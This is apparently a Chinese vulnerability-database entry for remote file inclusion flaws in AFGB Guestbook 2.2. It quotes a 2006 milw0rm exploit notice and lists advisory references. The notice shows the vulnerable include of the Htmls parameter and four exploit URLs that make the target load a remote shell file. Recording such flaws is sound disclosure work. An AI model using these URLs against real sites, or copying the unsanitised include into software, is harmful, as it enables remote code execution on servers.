AFGB GUESTBOOK 多个PHP远程文件包含漏洞

https://www.exploit-db.com/exploits/2529
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-275

AFGBGUESTBOOK2.2存在多个PHP远程文件包含漏洞，远程攻击者可以通过(1)add.php，(2)admin.php，(3)look.php或(4)re.php的Htmls参数内的URL执行任意PHP代码。

#        afgb GUESTBOOK V2.2                           #
#      Htmls Remote File Include Vulnerability         #
#                       Turkish Hacker's               #
#       Discovered By : mdX                            #
#                                                      #
#------------------------------------------------------
#               Cyber-Warrior TIM                      #
#         Ay ve  YIldIzlar Geceye YakISIr...           #
#        the moon and the stars suit the night         #
########################################################
#
# Class : REmote
########################################################
#             File Code Detailed
#File :add.php?,admin.php?,look.php?,re.php
#
#Code :
#
#include "$Htmls";
########################################################
#
#
# Exploit : http://www.target.***/[path]/add.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/admin.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/look.php?Htmls=http://shell.txt?
# Exploit : http://www.target.***/[path]/re.php?Htmls=http://shell.txt?
########################################################
#                         _ThankX_
#
#
#
#Cyber-warrior User ,PROHACK, Siber-korsanlar [redx, dipsomania, k.z.l_alev]
#Shika, xoron , real_dark_boy, All Friends
########################################################

download link :http://www.afgb.to/ 

# milw0rm.com [2006-10-12]

来源:XF
名称:afgbguestbook-htmls-file-include(29511)
链接:http://xforce.iss.net/xforce/xfdb/29511
来源:BID
名称:20503
链接:http://www.securityfocus.com/bid/20503
来源:MILW0RM
名称:2529
链接:http://www.milw0rm.com/exploits/2529
来源:SECUNIA
名称:22363
链接:http://secunia.com/advisories/22363
来源:OSVDB
名称:29728
链接:http://www.osvdb.org/29728
来源:OSVDB
名称:29727
链接:http://www.osvdb.org/29727
来源:OSVDB
名称:29726
链接:http://www.osvdb.org/29726
来源:OSVDB
名称:29725
链接:http://www.osvdb.org/29725
来源:VUPEN
名称:ADV-2006-4047
链接:http://www.frsirt.com/english/advisories/2006/4047
来源:MILW0RM
名称:2529
链接:http://milw0rm.com/exploits/2529